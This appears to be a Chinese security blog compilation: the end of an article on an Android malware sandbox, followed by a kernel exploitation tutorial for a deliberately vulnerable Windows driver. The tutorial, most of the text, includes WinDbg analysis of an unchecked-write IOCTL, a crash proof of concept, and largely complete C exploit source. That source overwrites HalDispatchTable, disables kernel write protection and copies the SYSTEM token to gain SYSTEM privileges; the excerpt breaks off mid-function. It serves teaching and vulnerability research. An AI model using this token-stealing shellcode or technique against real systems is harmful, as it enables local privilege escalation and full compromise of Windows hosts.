09-17 20:24:24.944 W/dalvikvm( 126): MalDroid: { "FdAccess": { "path": "2f646174612f646174612f636f6d2e616e64726f69642e6c61756e636865722f66696c65732f6c61756e636865722e707265666572656e636573", "id": "588716465" } }
09-17 20:24:24.965 W/dalvikvm( 126): MalDroid: { "FileRW": { "operation": "read", "data": "0005", "id": "588716465" } }

生成日志后,MalDroidAnalyzer会去分析日志,生成统计图数据,然后生成报告。下面是一些真实病毒样本的恶意行为记录:

1、窃取通讯录:

2、通话录音:

3、发送收费短信:

4、动态加载类文件:

5、Root提权:

四、 真实案例

在Google Android官方市场上,曾出现过多起应用程序嵌入恶意代码的事件,比如“功夫病毒”,可进行root提权,并破坏文件系统,同时窃取用户隐私信息,感染了上百万用户,危害甚广。病毒作者通过对知名软件进行修改,嵌入恶意代码然后重打包,然后诱骗用户下载这些伪造软件。除“功夫病毒”外,还有DroidDream、AnserverBot、PhoneSpy等恶意软件。下面是MalDroidAnalyzer针对PhoneSpy病毒Gmail.apk给出的分析报告,该病毒会窃取用户隐私信息、通话录音等恶意行为。由于该病毒无GUI界面,而是以后台服务在运行,因此报告中的截图是主页界面:




五、 总结

当前手机用户量增长越来越快,尤其是中国,手机用户量已超10亿,即大约75%的中国人拥有自己的手机。正因为手机越来越智能化,携带也方便,因此许多人将隐私信息存储在手机上,且在多处场景下无形地公开化,而这些信息正是许多病毒作者所热衷的。在移动终端上的安全也将比电脑终端越来越重要,移动安全也已成为安全领域的另一新战场。

六、 鸣谢

感谢Dflower同学(0day2作者之一)在笔者编写MalDroidAnalyzer过程中给予的帮助。

七、 参考资料

1、 DroidBox:http://code.google.com/p/droidbox
2、 SandDroid:http://sanddroid.xjtu.edu.cn
3、 apktool:http://code.google.com/p/android-apktool
4、 网秦《2012年上半年全球手机安全报告》:http://cn.nq.com/neirong/2012shang.pdf
5、 Android权限中文描述大全:http://wenku.baidu.com/view/b1f6f9ff0242a8956bece4e7.html
6、 Android Permission Map:http://www.android-permissions.org/permissionmap.html

ExploitMe内核漏洞分析与利用

0x01 漏洞分析:

用工具加载驱动后,开启windbg进行内核调试,先找到驱动的IoControlCode数值,由于笔者在编译时是采用test.sys作为文件名,因此使用!drvobj test 这样的命令,但源码依然是经漏洞分析技术第二版样章上的代码而修改编译的,执行命令后结果如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
kd> !drvobj test 2
Driver object (825cef38) is for:
\Driver\test
DriverEntry: f9032885 test
DriverStartIo: 00000000
DriverUnload: f90324a0 test
AddDevice: 00000000

Dispatch routines:
[00] IRP_MJ_CREATE f90324c0 test+0x4c0
[01] IRP_MJ_CREATE_NAMED_PIPE f90324c0 test+0x4c0
[02] IRP_MJ_CLOSE f90324c0 test+0x4c0
[03] IRP_MJ_READ f90324c0 test+0x4c0
[04] IRP_MJ_WRITE f90324c0 test+0x4c0
[05] IRP_MJ_QUERY_INFORMATION f90324c0 test+0x4c0
[06] IRP_MJ_SET_INFORMATION f90324c0 test+0x4c0
[07] IRP_MJ_QUERY_EA f90324c0 test+0x4c0
[08] IRP_MJ_SET_EA f90324c0 test+0x4c0
[09] IRP_MJ_FLUSH_BUFFERS f90324c0 test+0x4c0
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION f90324c0 test+0x4c0
[0b] IRP_MJ_SET_VOLUME_INFORMATION f90324c0 test+0x4c0
[0c] IRP_MJ_DIRECTORY_CONTROL f90324c0 test+0x4c0
[0d] IRP_MJ_FILE_SYSTEM_CONTROL f90324c0 test+0x4c0
[0e] IRP_MJ_DEVICE_CONTROL f90324c0 test+0x4c0
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL f90324c0 test+0x4c0
[10] IRP_MJ_SHUTDOWN f90324c0 test+0x4c0
[11] IRP_MJ_LOCK_CONTROL f90324c0 test+0x4c0
[12] IRP_MJ_CLEANUP f90324c0 test+0x4c0
[13] IRP_MJ_CREATE_MAILSLOT f90324c0 test+0x4c0
[14] IRP_MJ_QUERY_SECURITY f90324c0 test+0x4c0
[15] IRP_MJ_SET_SECURITY f90324c0 test+0x4c0
[16] IRP_MJ_POWER f90324c0 test+0x4c0
[17] IRP_MJ_SYSTEM_CONTROL f90324c0 test+0x4c0
[18] IRP_MJ_DEVICE_CHANGE f90324c0 test+0x4c0
[19] IRP_MJ_QUERY_QUOTA f90324c0 test+0x4c0
[1a] IRP_MJ_SET_QUOTA f90324c0 test+0x4c0
[1b] IRP_MJ_PNP 804fb8a6 nt!IopInvalidDeviceRequest

上面的 test+0x4c0 就是IRP分发例程,通过对其反汇编,可以找到其中的IO控制码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
kd> uf test+0x4c0
test+0x4c0:
f90324c0 8bff mov edi,edi
f90324c2 55 push ebp
f90324c3 8bec mov ebp,esp
f90324c5 83ec24 sub esp,24h
f90324c8 c745e400000000 mov dword ptr [ebp-1Ch],0
f90324cf 8b450c mov eax,dword ptr [ebp+0Ch]
f90324d2 8b4860 mov ecx,dword ptr [eax+60h]
f90324d5 894df4 mov dword ptr [ebp-0Ch],ecx
f90324d8 8b55f4 mov edx,dword ptr [ebp-0Ch]
f90324db 8b4210 mov eax,dword ptr [edx+10h]
f90324de 8945f8 mov dword ptr [ebp-8],eax
f90324e1 8b4d0c mov ecx,dword ptr [ebp+0Ch]
f90324e4 8b513c mov edx,dword ptr [ecx+3Ch]
f90324e7 8955ec mov dword ptr [ebp-14h],edx
f90324ea 8b45f4 mov eax,dword ptr [ebp-0Ch]
f90324ed 8b4808 mov ecx,dword ptr [eax+8]
f90324f0 894dfc mov dword ptr [ebp-4],ecx
f90324f3 8b55f4 mov edx,dword ptr [ebp-0Ch]
f90324f6 8b4204 mov eax,dword ptr [edx+4]
f90324f9 8945e8 mov dword ptr [ebp-18h],eax
f90324fc 8b4df4 mov ecx,dword ptr [ebp-0Ch]
f90324ff 8b510c mov edx,dword ptr [ecx+0Ch]
f9032502 8955f0 mov dword ptr [ebp-10h],edx
f9032505 8b450c mov eax,dword ptr [ebp+0Ch]
f9032508 83c018 add eax,18h
f903250b 8945e0 mov dword ptr [ebp-20h],eax
f903250e 8b4de0 mov ecx,dword ptr [ebp-20h]
f9032511 c70100000000 mov dword ptr [ecx],0
f9032517 8b55e0 mov edx,dword ptr [ebp-20h]
f903251a c7420400000000 mov dword ptr [edx+4],0
f9032521 8b45f0 mov eax,dword ptr [ebp-10h]
f9032524 8945dc mov dword ptr [ebp-24h],eax
f9032527 817ddc03a08888 cmp dword ptr [ebp-24h],8888A003h // IO控制码
f903252e 7402 je test+0x532 (f9032532) // IO控制码0x8888A003对应的处理过程

kd> u f9032532
test+0x532:
f9032532 837dfc04 cmp dword ptr [ebp-4],4 // 输入缓冲区长度
f9032536 721a jb test+0x552 (f9032552)
f9032538 837de804 cmp dword ptr [ebp-18h],4 // 输出缓冲区长度
f903253c 7214 jb test+0x552 (f9032552)
f903253e 8b4dec mov ecx,dword ptr [ebp-14h] // 输出缓冲区
f9032541 8b55f8 mov edx,dword ptr [ebp-8]
f9032544 8b02 mov eax,dword ptr [edx] // 输入缓冲区
f9032546 8901 mov dword ptr [ecx],eax // 写入地址未经验证进而引发本地提权漏洞

下面编写测试代码,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

void ShowErrMsg()
{
LPVOID lpMsgBuf;
DWORD dw = GetLastError();

FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );

printf("系统错误:%s",lpMsgBuf);

LocalFree(lpMsgBuf);
}

int main(void)
{
HANDLE hDevice;
DWORD length = 0;
BOOL ret;
char g_InputBuffer[4] ="\x00\x00\x00\x00"; //输入缓冲区指针

// 打开设备驱动
hDevice = CreateFile("\\\\.\\ExploitMe",GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_SYSTEM,0);

if (hDevice == INVALID_HANDLE_VALUE)
{
ShowErrMsg();
return EXIT_FAILURE;
}

ret = DeviceIoControl(hDevice, // 驱动句柄
0x8888A003, // IoControlCode数值
g_InputBuffer, // 输入缓冲区指针
4, // 输入缓冲区字节数
0x80808080, // 输出缓冲区指针
4, // 输出缓冲区字节数
&length, // 返回实际的数据字节数
NULL);

if(!ret)
ShowErrMsg();
else
printf("DeviceIoControl Success!\n");
return EXIT_SUCCESS;
}

运行后系统崩溃,被windbg断下,下面是 !analyze -v 的分析结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: 80808080, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: f9032546, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)

Debugging Details:
------------------

*************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: kernel32!pNlsUserInfo ***
*** ***
*************************************************************************

WRITE_ADDRESS: 80808080

FAULTING_IP:
test+546
f9032546 8901 mov dword ptr [ecx],eax

MM_INTERNAL_CODE: 0

DEBUG_FLR_IMAGE_TIMESTAMP: 0

FAULTING_MODULE: f9032000 test

DEFAULT_BUCKET_ID: CODE_CORRUPTION

BUGCHECK_STR: 0x50

PROCESS_NAME: test.exe

TRAP_FRAME: f61b6b9c -- (.trap 0xfffffffff61b6b9c)
ErrCode = 00000002
eax=00000000 ebx=82567498 ecx=80808080 edx=0012ff70 esi=825cef38 edi=8256f150
eip=f9032546 esp=f61b6c10 ebp=f61b6c34 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
test+0x546:
f9032546 8901 mov dword ptr [ecx],eax ds:0023:80808080=???????? // 这里证明了我们先前的分析是正确的
Resetting default scope

LAST_CONTROL_TRANSFER: from 8053377f to 804e45a2

STACK_TEXT:
f61b66ec 8053377f 00000003 80808080 00000000 nt!RtlpBreakWithStatusInstruction
f61b6738 80534256 00000003 806f103c c0202020 nt!KiBugCheckDebugBreak+0x19
f61b6b18 80534846 00000050 80808080 00000001 nt!KeBugCheck2+0x574
f61b6b38 805251e0 00000050 80808080 00000001 nt!KeBugCheckEx+0x1b
f61b6b84 804e272b 00000001 80808080 00000000 nt!MmAccessFault+0x6f5
f61b6b84 f9032546 00000001 80808080 00000000 nt!KiTrap0E+0xcc
WARNING: Stack unwind information not available. Following frames may be wrong.
f61b6c34 804e4807 825a29d0 82567498 806f1070 test+0x546 // 这里就是漏洞函数
f61b6c44 80569191 82567508 8256f150 82567498 nt!IopfCallDriver+0x31
f61b6c58 805780ca 825a29d0 82567498 8256f150 nt!IopSynchronousServiceTail+0x70
f61b6d00 8057a5e3 000007e8 00000000 00000000 nt!IopXxxControlFile+0x611
f61b6d34 804df7ec 000007e8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f61b6d34 7c92e526 000007e8 00000000 00000000 nt!KiFastCallEntry+0xf8
0012fe94 7c92d28a 7c801675 000007e8 00000000 ntdll!KiIntSystemCall+0x6
0012fe98 7c801675 000007e8 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0012fef8 0040116c 000007e8 8888a003 0012ff70 kernel32!DeviceIoControl+0xdd
0012ff80 00401399 00000001 00380f60 00380ff8 test_400000+0x116c
0012ffc0 7c817077 00241fe4 0012f7bc 7ffdc000 test_400000+0x1399
0012fff0 00000000 004012b0 00000000 78746341 kernel32!BaseProcessStart+0x23


STACK_COMMAND: kb

CHKIMG_EXTENSION: !chkimg -lo 50 -d !nt
804d9f94-804d9f98 5 bytes - nt!KiXMMIZeroPage+30
[ fa f7 80 0c 02:e9 cf 7c 7b 77 ]
……省略部分内容……
WARNING: !chkimg output was truncated to 50 lines. Invoke !chkimg without '-lo [num_lines]' to view entire output.
231 errors : !nt (804d9f94-805363e8)

MODULE_NAME: memory_corruption

IMAGE_NAME: memory_corruption

FOLLOWUP_NAME: memory_corruption

MEMORY_CORRUPTOR: LARGE

FAILURE_BUCKET_ID: MEMORY_CORRUPTION_LARGE

BUCKET_ID: MEMORY_CORRUPTION_LARGE

Followup: memory_corruption
---------

0x02 漏洞利用

利用思路:1、获取HalDispatchTable表地址,再偏移0x4找到HalQuerySystemInformation函数地址;
2、利用内核漏洞将HalQuerySystemInformation函数地址修改为0x0;
3、在0x0地址处申请块内存,然后将ring0 shellcode拷贝过去;
4、通过调用NtQueryIntervalProfile函数来执行0x0处的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
***************************** exploit.h ***************************

#ifndef _EXPLOIT_H
#define _EXPLOIT_H

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define IMP_VOID __declspec(dllimport) VOID __stdcall
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall

#define PAGE_SIZE 0xA00

#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN_IF 0x00000003

#define NtCurrentProcess() ((HANDLE)0xFFFFFFFF)

#define KERNEL_NAME_LENGTH 0x0D

#define STATUS_SUCCESS 0x00000000
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004

typedef ULONG NTSTATUS;

typedef struct _ANSI_STRING
{
/* 0x00 */ USHORT Length;
/* 0x02 */ USHORT MaximumLength;
/* 0x04 */ PCHAR Buffer;
/* 0x08 */
}
ANSI_STRING,
*PANSI_STRING,
**PPANSI_STRING;

typedef struct _UNICODE_STRING
{
/* 0x00 */ USHORT Length;
/* 0x02 */ USHORT MaximumLength;
/* 0x04 */ PWSTR Buffer;
/* 0x08 */
}
UNICODE_STRING,
*PUNICODE_STRING,
**PPUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES
{
/* 0x00 */ ULONG Length;
/* 0x04 */ HANDLE RootDirectory;
/* 0x08 */ PUNICODE_STRING ObjectName;
/* 0x0C */ ULONG Attributes;
/* 0x10 */ PSECURITY_DESCRIPTOR SecurityDescriptor;
/* 0x14 */ PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
/* 0x18 */
}
OBJECT_ATTRIBUTES,
*POBJECT_ATTRIBUTES,
**PPOBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK
{
union
{
/* 0x00 */ NTSTATUS Status;
/* 0x00 */ PVOID Pointer;
};

/* 0x04 */ ULONG Information;
/* 0x08 */
}
IO_STATUS_BLOCK,
*PIO_STATUS_BLOCK,
**PPIO_STATUS_BLOCK;

typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION
{
/* 0x0000 */ ULONG Reserved[2];
/* 0x0008 */ PVOID Base;
/* 0x000C */ ULONG Size;
/* 0x0010 */ ULONG Flags;
/* 0x0014 */ USHORT Index;
/* 0x0016 */ USHORT Unknown;
/* 0x0018 */ USHORT LoadCount;
/* 0x001A */ USHORT ModuleNameOffset;
/* 0x001C */ UCHAR ImageName[256];
/* 0x011C */
}
SYSTEM_MODULE_INFORMATION,
*PSYSTEM_MODULE_INFORMATION,
**PPSYSTEM_MODULE_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION_EX
{
/* 0x00 */ ULONG ModulesCount;
/* 0x04 */ SYSTEM_MODULE_INFORMATION Modules[0];
/* 0xXX */
}
SYSTEM_MODULE_INFORMATION_EX,
*PSYSTEM_MODULE_INFORMATION_EX,
**PPSYSTEM_MODULE_INFORMATION_EX;

typedef enum _KPROFILE_SOURCE
{
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE;

typedef VOID (NTAPI *PIO_APC_ROUTINE)
(
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
);

IMP_VOID RtlInitAnsiString
(
IN OUT PANSI_STRING DestinationString,
IN PUCHAR SourceString
);

IMP_VOID RtlInitUnicodeString
(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);

IMP_VOID RtlCreateUnicodeStringFromAsciiz
(
OUT PUNICODE_STRING DestinationString,
IN PUCHAR SourceString
);

IMP_VOID RtlFreeUnicodeString
(
IN PUNICODE_STRING UnicodeString
);

IMP_VOID RtlFreeAnsiString
(
IN PANSI_STRING AnsiString
);

IMP_SYSCALL LdrLoadDll
(
IN PWSTR DllPath OPTIONAL,
IN PULONG DllCharacteristics OPTIONAL,
IN PUNICODE_STRING DllName,
OUT PVOID *DllHandle
);

IMP_SYSCALL LdrUnloadDll
(
IN PVOID DllHandle
);

IMP_SYSCALL LdrGetProcedureAddress
(
IN PVOID DllHandle,
IN PANSI_STRING ProcedureName OPTIONAL,
IN ULONG ProcedureNumber OPTIONAL,
OUT PVOID *ProcedureAddress
);

IMP_SYSCALL NtAllocateVirtualMemory
(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);

IMP_SYSCALL NtFreeVirtualMemory
(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN OUT PULONG FreeSize,
IN ULONG FreeType
);

IMP_SYSCALL NtQuerySystemInformation
(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

IMP_SYSCALL NtCreateFile
(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength
);

IMP_SYSCALL NtDeviceIoControlFile
(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);

IMP_SYSCALL NtDelayExecution
(
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Interval
);

IMP_SYSCALL NtQueryIntervalProfile
(
IN KPROFILE_SOURCE Source,
OUT PULONG Interval
);

IMP_SYSCALL NtClose
(
IN HANDLE Handle
);

#endif

******************************** END *************************************

******************************** exploit.c *******************************

#include "exploit.h"

#define IOCTL_CODE 0x8888A003

PVOID RtlAllocateMemory(
IN ULONG Length)
{
NTSTATUS NtStatus;

PVOID BaseAddress = NULL;


NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
0,
&Length,
MEM_RESERVE |
MEM_COMMIT,
PAGE_READWRITE);

if(NtStatus == STATUS_SUCCESS)
{
RtlZeroMemory(BaseAddress, Length);

return BaseAddress;
}

return NULL;
}

VOID RtlFreeMemory(
IN PVOID BaseAddress)
{
NTSTATUS NtStatus;

ULONG FreeSize = 0;


NtStatus = NtFreeVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
&FreeSize,
MEM_RELEASE);
}


char g_ressdtOutputBuffer[4]={0};//输出的缓冲区

DWORD g_uCr0=0;

NTSTATUS MyShellCode(
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
//关闭内核写保护
__asm
{
cli
mov eax, cr0
mov g_uCr0,eax
and eax,0xFFFEFFFF
mov cr0, eax
}

//提权到SYSTEM
__asm
{
mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
mov eax,[eax] //获取当前线程PETHREAD
mov esi,[eax+0x220] //获取当前线程所属进程的PEPROCESS
mov eax,esi
searchXp:
mov eax,[eax+0x88]
sub eax,0x88 //获取进程链表中下一个进程的PEPROCESS
mov edx,[eax+0x84] //获取该进程的pid到edx
cmp edx,0x4 //通过PID查找SYSTEM进程
jne searchXp
mov eax,[eax+0xc8] //获取system进程的token
mov [esi+0xc8],eax //修改当前进程的token
}
//恢复内核写保护
_asm
{
sti
mov eax, g_uCr0
mov cr0, eax
}
return 0;
}

void ShowAlertMsg()
{
LPVOID lpMsgBuf;
DWORD dw = GetLastError();

FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );

printf("%s",lpMsgBuf);

LocalFree(lpMsgBuf);
}

int __cdecl main(int argc, char **argv)
{
NTSTATUS NtStatus;

HANDLE DeviceHandle;
ULONG ReturnLength = 0;
char g_InputBuffer[4] ="\x00\x00\x00\x00";

ULONG ImageBase;
PVOID MappedBase;
UCHAR ImageName[KERNEL_NAME_LENGTH];
ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
PVOID HalDispatchTable;
PVOID xHalQuerySystemInformation;
PVOID MmUserProbeAddress;

ULONG ShellCodeSize = PAGE_SIZE; // 此值不可过高,否则可能导致在复制shellcode时引发异常,
// 因为复制的内存过广,可能有部分是不可写的,此时就会引发错误!
PVOID ShellCodeAddress;
PVOID BaseAddress = NULL;

UNICODE_STRING DeviceName;
UNICODE_STRING DllName;
ANSI_STRING ProcedureName;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL;
LARGE_INTEGER Interval;

ULONG TextColor;

///////////////////////////////////////////////////////////////////////////////////////////////

system("cls");

// 获取内核模块列表数据大小到ReturnLength
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
&ReturnLength);

if(NtStatus == STATUS_INFO_LENGTH_MISMATCH)
{
ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);

ModuleInformation = RtlAllocateMemory(ReturnLength); // 申请内存用于存放内核模块列表数据

if(ModuleInformation)
{
// 获取内核模块列表数据到ModuleInformation
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
NULL);

if(NtStatus == STATUS_SUCCESS)
{
// 从内核模块列表中获取内核第一个模块的基址和名称
ImageBase = (ULONG)(ModuleInformation->Modules[0].Base); // 获取模块基址

RtlMoveMemory(
ImageName, // 获取模块名称
(PVOID)(ModuleInformation->Modules[0].ImageName +
ModuleInformation->Modules[0].ModuleNameOffset),
KERNEL_NAME_LENGTH);

printf(" **************************************************************************\n"
" * ImageBase - 0x%.8X \n"
" * ImageName - %s \n",
ImageBase,
ImageName);

RtlFreeMemory(ModuleInformation); // 释放存放内核模块列表的内存

RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName); // 获取内核模块的UnicodeString

// 加载内核模块到本地进程
NtStatus = LdrLoadDll(
NULL, // DllPath
&DllCharacteristics, // DllCharacteristics
&DllName, // DllName
&MappedBase); // DllHandle
printf( " * \n"
" * LdrLoadDLL:");
ShowAlertMsg();

RtlInitAnsiString(&ProcedureName, "HalDispatchTable");

// 获取内核HalDispatchTable 函数表地址
NtStatus = LdrGetProcedureAddress(
(PVOID)MappedBase, // DllHandle
&ProcedureName, // ProcedureName
0, // ProcedureNumber OPTIONAL
(PVOID*)&HalDispatchTable); // ProcedureAddress
printf(" * LdrGetProcedureAddress:");
ShowAlertMsg();

(ULONG)HalDispatchTable -= (ULONG)MappedBase;
(ULONG)HalDispatchTable += ImageBase;

// HalDispatchTable 地址 + 4 = HalQuerySystemInformation 函数地址
(ULONG)xHalQuerySystemInformation = (ULONG)HalDispatchTable + sizeof(ULONG);

printf(" * \n"
" * HalDispatchTable - 0x%.8X \n"
" * xHalQuerySystemInformation - 0x%.8X \n",
HalDispatchTable,
